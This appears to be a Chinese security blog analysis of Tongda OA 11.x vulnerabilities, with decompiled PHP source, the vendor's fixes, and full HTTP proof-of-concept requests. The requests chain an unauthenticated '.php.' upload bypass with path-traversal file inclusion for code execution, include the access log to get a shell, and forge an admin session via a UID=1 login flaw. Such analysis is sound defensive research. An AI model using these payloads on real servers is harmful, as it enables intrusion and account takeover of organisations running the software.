Yoga7xm's Blog

通达OA 11.x RCE 漏洞分析

字数统计: 2.2k阅读时长: 10 min
2020/04/08 Share

Abstract

今年通达爆出了两个大漏洞,一个是文件包含+任意文件上传导致RCE、另一个是任意用户登陆,这两个都是前台直接可以打的大漏洞。

影响范围

  1. 任意文件上传

v11.3

2017

2016

2015

2013 增强版

2013

  1. 文件包含

V11.3

2017

  1. 任意用户登陆

2017

v11.x < v11.5 支持扫码登录版本。

环境搭建

我这里用的是v11.3 For Windows版,下载下来之后是一个EXE文件,然后安装就好了,但是源码部分是经过Zend5.4加密过的,需要手工去解密

漏洞分析

任意文件上传

网上流传的POC是ispirit/im/upload.php这个路径,应该是这个文件出现了问题,跟进看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
<?php

set_time_limit(0);
$P = $_POST["P"];
if (isset($P) || ($P != "")) {
ob_start();
include_once "inc/session.php";
session_id($P);
session_start();
session_write_close();
}
else {
include_once "./auth.php";
}

代码里只是简简单单的判断了POST数据中存不存在$P,如果存在且不为空就注册一个Session,否则返回未登录的授权信息。只要简单传入一个P=qwer就能绕过验证

绕过最初的校验之后继续往下走。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
ob_end_clean();
$TYPE = $_POST["TYPE"];
$DEST_UID = $_POST["DEST_UID"];
$dataBack = array();
if (($DEST_UID != "") && ! td_verify_ids($ids)) {
$dataBack = array("status" => 0, "content" => "-ERR " . _("接收方ID无效"));
echo json_encode(data2utf8($dataBack));
exit();
}

if (strpos($DEST_UID, ",") !== false) {
}
else {
$DEST_UID = intval($DEST_UID);
}

if ($DEST_UID == 0) {
if ($UPLOAD_MODE != 2) {
$dataBack = array("status" => 0, "content" => "-ERR " . _("接收方ID无效"));
echo json_encode(data2utf8($dataBack));
exit();
}
}

👆这一段从POST数据中拿出了TYPE和DEST_UID。假如UID为空就会返回接收方ID无效并退出;假如UID值为0且MODE不为2,也会返回接收方ID无效并退出。这里也容易绕过,继续往下走

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
$MODULE = "im";

if (1 <= count($_FILES)) {
if ($UPLOAD_MODE == "1") {
if (strlen(urldecode($_FILES["ATTACHMENT"]["name"])) != strlen($_FILES["ATTACHMENT"]["name"])) {
$_FILES["ATTACHMENT"]["name"] = urldecode($_FILES["ATTACHMENT"]["name"]);
}
}

$ATTACHMENTS = upload("ATTACHMENT", $MODULE, false);

if (!is_array($ATTACHMENTS)) {
$dataBack = array("status" => 0, "content" => "-ERR " . $ATTACHMENTS);
echo json_encode(data2utf8($dataBack));
exit();
}

先是判断文件上传的参数数量不小于1且MODE为1,就去拿ATTACHMENT字段的name值作为文件名,调用upload()方法,跟进一下这个方法inc/utility_file.php:upload

这个方法负责上传文件,然后对一些文件参数进行判断校验。其中调用了is_uploadable()对文件类型进行判断。

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
function is_uploadable($FILE_NAME)
{
$POS = strrpos($FILE_NAME, ".");

if ($POS === false) {
$EXT_NAME = $FILE_NAME;
}
else {
if (strtolower(substr($FILE_NAME, $POS + 1, 3)) == "php") {
return false;
}

$EXT_NAME = strtolower(substr($FILE_NAME, $POS + 1));
}
...

值得一提的是这种通过.来截取文件类型进行判断的方法,在Windows系统可以通过.php.的方式进行Bypass。既然能够上传文件,但是也需要服务端将路径给返回,继续往下走

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
if ($UPLOAD_MODE == "1") {
if (is_thumbable($ATTACHMENT_NAME)) {
$FILE_PATH = attach_real_path($ATTACHMENT_ID, $ATTACHMENT_NAME, $MODULE);
$THUMB_FILE_PATH = substr($FILE_PATH, 0, strlen($FILE_PATH) - strlen($ATTACHMENT_NAME)) . "thumb_" . $ATTACHMENT_NAME;
CreateThumb($FILE_PATH, 320, 240, $THUMB_FILE_PATH);
}

$P_VER = (is_numeric($P_VER) ? intval($P_VER) : 0);
$MSG_CATE = $_POST["MSG_CATE"];

if ($MSG_CATE == "file") {
$CONTENT = "[fm]" . $ATTACHMENT_ID . "|" . $ATTACHMENT_NAME . "|" . $FILE_SIZE . "[/fm]";
}
else if ($MSG_CATE == "image") {
$CONTENT = "[im]" . $ATTACHMENT_ID . "|" . $ATTACHMENT_NAME . "|" . $FILE_SIZE . "[/im]";
}
else {
$DURATION = intval($DURATION);
$CONTENT = "[vm]" . $ATTACHMENT_ID . "|" . $ATTACHMENT_NAME . "|" . $DURATION . "[/vm]";
}
...
$dataBack = array("status" => 1, "content" => $CONTENT, "file_id" => $FILE_ID);
echo json_encode(data2utf8($dataBack));
exit();

会调用attach_real_path()去创建文件,然后会在后面的if语句中将ATTACHMENT_ID输出,跟进这个函数

调用attach_id_explode()对这个ATTACHMENT_ID进行拆解,然后拿到真正的ID和YM在后面进行路径拼接。所以我们只要搞清楚拆解过程,就能拿到文件上传后的路径了。
路径 = /attach/im/$YM/$ID+filename
跟进函数

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
function attach_id_explode($ATTACHMENT_ID)
{
$AID = 0;
$POS = strpos($ATTACHMENT_ID, "@");

if ($POS !== false) {
$AID = intval(substr($ATTACHMENT_ID, 0, $POS));
$ATTACHMENT_ID = substr($ATTACHMENT_ID, $POS + 1);
}

$YM = "";
$POS = strpos($ATTACHMENT_ID, "_");

if ($POS !== false) {
$YM_TMP = substr($ATTACHMENT_ID, 0, $POS);
$ATTACHMENT_ID_TMP = substr($ATTACHMENT_ID, $POS + 1);
if ((strlen($YM_TMP) == 4) && is_numeric($YM_TMP)) {
$YM = $YM_TMP;
$ATTACHMENT_ID = $ATTACHMENT_ID_TMP;
}
}

$SIGN_KEY = "";
$POS = strpos($ATTACHMENT_ID, ".");

if ($POS !== false) {
$SIGN_KEY_TMP = substr($ATTACHMENT_ID, $POS + 1);
$ATTACHMENT_ID_TMP = substr($ATTACHMENT_ID, 0, $POS);
if (is_numeric($SIGN_KEY_TMP) && is_numeric($ATTACHMENT_ID_TMP)) {
$SIGN_KEY = $SIGN_KEY_TMP;
$ATTACHMENT_ID = $ATTACHMENT_ID_TMP;
}
}

return array("AID" => $AID, "ATTACHMENT_ID" => $ATTACHMENT_ID, "YM" => $YM, "SIGN_KEY" => $SIGN_KEY);
}

首先对@截取拿到后面的数据,然后对_进行截断,左边的数据作为$YM;另一部分的数据对.进行截断,左边的数据作为ID,结案了。

POC

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
POST /ispirit/im/upload.php HTTP/1.1
Host: 192.168.1.18:8080
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Win64; x64; Trident/5.0)
Content-Type: multipart/form-data; boundary=----WebKitFormBoundarypyfBh1YB4pV8McGB
Accept: */*
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9,zh-HK;q=0.8,ja;q=0.7,en;q=0.6,zh-TW;q=0.5
Connection: close
Content-Length: 497

------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="UPLOAD_MODE"

2
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="P"

qwer
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="DEST_UID"

1
------WebKitFormBoundarypyfBh1YB4pV8McGB
Content-Disposition: form-data; name="ATTACHMENT"; filename="1.php."
Content-Type: image/jpeg

<?php
echo 123;
?>
------WebKitFormBoundarypyfBh1YB4pV8McGB--

返回信息如下:

所以可以拿到路径:\attach\im\2005\2138192020.1.php

但是这个目录处于Web目录之外,所以没有办法直接访问,只能跨目录去包含它来达到RCE

文件包含

这个POC出现的路径是ispirit/interface/gateway.php,跟进看看

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
if ($json) {
$json = stripcslashes($json);
$json = (array) json_decode($json);

foreach ($json as $key => $val ) {
if ($key == "data") {
$val = (array) $val;

foreach ($val as $keys => $value ) {
$keys = $value;
}
}

if ($key == "url") {
$url = $val;
}
}

if ($url != "") {
if (substr($url, 0, 1) == "/") {
$url = substr($url, 1);
}

if ((strpos($url, "general/") !== false) || (strpos($url, "ispirit/") !== false) || (strpos($url, "module/") !== false)) {
include_once $url;
}
}

比较简单的逻辑了,就是遍历Json数据,然后拿到url对应的Values,假如存在generalispiritmodule就去包含文件,所以只要绕过这条限制就能成功RCE了。

1
2
3
4
5
6
7
8
9
10
POST /ispirit/interface/gateway.php HTTP/1.1
Host: 192.168.1.18:8080
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:74.0) Gecko/20100101 Firefox/74.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Content-Length: 67

json={"url":"qqqispirit/../../attach/im/2005/2138192020.1.php"}

这种文件上传+文件包含的方式能够达到RCE,还有一种包含access.log文件的方法,也能直接getshell

1
json={"url":"ispirit/../../../../nginx/logs/oa.access.log"}

另外提一点,因为Response Header返回的charset=gbk,所以在连菜刀的时候需要指定编码为GBK

任意用户登录

漏洞复现
这里覆盖安装了v11.4版本的OA
1.首先访问路径:/general/login_code.php

服务端给我们返回了张图片,但是数据最末端是一个code_uid
2.然后带着这个uid去访问路径:logincheck_code.php

伪造身份UID=1,然后服务端返回了一个sessionID,这个就是我们要的

3.验证这个Cookie,带着访问后台地址/general/index.php

漏洞分析
跟进/general/login_code.php

1
2
3
4
5
6
7
8
9
10
11
12
13
$codeuid = $_GET["codeuid"];
$login_codeuid = Td::get_cache("CODE_LOGIN" . $codeuid);
$tempArr = array();
$login_codeuid = (preg_match_all("/[^a-zA-Z0-9-{}\/]+/", $login_codeuid, $tempArr) ? "" : $login_codeuid);

if (empty($login_codeuid)) {
$login_codeuid = getUniqid();
}
.......
Td::set_cache("CODE_LOGIN" . $login_codeuid, $login_codeuid, 120);
$databacks = array("status" => 1, "code_uid" => $login_codeuid);
echo json_encode(Td_iconv($databacks, MYOA_CHARSET, "utf-8"));
echo "\r\n\r\n\r\n";

根据传入的codeuid从缓存中取出CODE_LOGIN的值,假如缓存中没有该值,就随机生成一个codeid,并且在最后面写入缓存,同时以Json的形式输出。所以我们不带任何uid访问该文件,服务端返回一个codeid,然后跟进logincheck_code.php

从POST中拿到UID和CODEUID,然后在缓存中查找CODEUID对应的值,好在上一步请求中有将这个值写入缓存,所以这里能够直接通过判断条件。在后面的Sql语句中,直接将传入的UID拼接在后面,语句执行结果中的UID传给$UID,然后写入session。这个UID是可控的,我们令其等于1代表admin身份权限,这样就能够伪造任意用户登录了。

顺便提一句,在v11.3版本logincheck_code.php并没有对缓存进行判断,所以说只要指定uid=1,就能轻易伪造admin拿到cookie

GetShell

  1. 登录系统之后打开系统管理=>系统参数设置,拿到网站的绝对路径
  2. 接着打开系统设置=>附件设置=>存储目录管理,新建一条规则,将目录设置为Webroot目录

    【注】:如果有拦截webroot,在Windows平台可以WebRoot大写绕过
  3. 选择组织=>管理员=>附件上传,然后上传一个1.txt,抓包改为1.php.

    拿到回显值
    1
    {"id":"252@2005_448242228,","name":"1.php.*","url":"\/inc\/attach.php?AID=252&MODULE=im&YM=2005&ATTACHMENT_ID=-995096377&ATTACHMENT_NAME=1.php.","thumb":null,"link":"","icon":"\/static\/images\/file_type\/defaut.gif","state":"SUCCESS"}
    与之前一样,url即为/im/2005/448242228.1.php

漏洞修复

对于文件包含的修复,添加了以下代码:

1
2
3
4
if (strpos($url, "..") !== false) {
echo _("ERROR URL");
exit();
}

url中不能出现绝对路径,也就不能跨目录了。
对于任意用户登录这,我们看补丁一:logincheck_code.php

从Redis中取出UID,而且在后面判断UID不允许为0

补丁二:\general\login_code_scan.php

将SessionID带入数据库中查询,假如没有记录就直接退出。

Reference

https://xz.aliyun.com/t/7704
https://www.freebuf.com/column/230871.html
https://xz.aliyun.com/t/7704

CATALOG
  1. 1. Abstract
  2. 2. 漏洞分析
    1. 2.1. 任意文件上传
    2. 2.2. 文件包含
    3. 2.3. 任意用户登录
  3. 3. 漏洞修复
  4. 4. Reference